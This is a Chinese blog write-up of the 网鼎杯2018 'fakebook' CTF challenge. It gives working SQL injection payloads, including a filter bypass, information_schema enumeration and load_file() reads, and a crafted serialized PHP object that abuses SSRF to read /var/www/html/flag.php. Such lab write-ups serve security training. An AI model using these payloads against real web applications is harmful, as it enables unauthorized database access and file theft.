网鼎杯2018_fackbook

网鼎杯2018_fackbook

(1)题目与分析

图片.png
登进去,也不知道要干点什么,注册一下。

图片.png
点一下用户名,发现url后缀里多了?no=1是一个疑似可以进行sql注入的地方。

图片.png

(2)sql注入的尝试

尝试一下简单的payload

?no=1 and 1=0

图片.png
从这里我们就明白了这里可以进行sql注入,同时我们也知道了它的路径 /var/www/html/view.php

接着用order by 语句查找一共有多少列数据,最后查出一共有4列。

?no=1 order by 1

这里尝试了一下union select语句不过好像被过滤掉了,union/**/select我们可以通过这种形式进行绕过。

no=-1 union/**/select 1,2,3,4

图片.png

这里只有2这一列有回显,接下来我们的select语句就放在2这一列。

?no=-1 union/**/select 1,group_concat(database()),3,4

图片.png
得到了数据库fakebook

  • 注:这里阅读了一下大佬的博客我们还可以用另一种注入的方式

      ?no=-1 union/**/select 1,(select group_concat(schema_name) from information_schema.schemata),3,4
    

图片.png
也同样得到了fakebook,不过大佬的方式回显的数据好像比我的还要全。

?no=-1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4

爆表,得到users

?no=-1 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),3,4

爆列,得到no,username,passwd,data

?no=-1 union/**/select 1,(select data from users),3,4

回显出一些序列化的数据O:8:”UserInfo”:3:{s:4:”name”;s:3:”123”;s:3:”age”;i:123;s:4:”blog”;s:21:”https://www.baidu.com";}

到这里好像就没什么思路了。

(3)扫一下目录和尝试一下robots.txt

建议每次做这种多页面的题目可以提前或在没有思路的时候试一下robots.txt和把目录给扫描一下

User-agent: *
Disallow: /user.php.bak

我们得到了一个新文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这里我用了dirsearch这个工具对目标网站进行目录扫描,扫出了一个flag.php的页面因此便猜测flag藏在里面。

图片.png

在这题,查看源码发现data字段存在漏洞。而我们爆出的字段data是序列化后的字符串
说明注册时会序列化我们的信息,回显到页面时再反序列化。这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf修改自己最后blog字段内容,改为file:///var/www/html/flag.php,并把对应的s改为对应长度29
data字段在第4位,所以放在第4位。

http://1.14.71.254:28179/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

图片.png
解一下base64就得到了flag。

(4)非预期的解

当我们知道了存在flag.php这个文件路径,其实我们可以通过load_file()这个函数进行读取,这里的load_file()函数没有被过滤掉。

?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4

查看源代码(这里的flag.php是被当成的代码执行的,要查看源代码才成显示出来):
图片.png

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信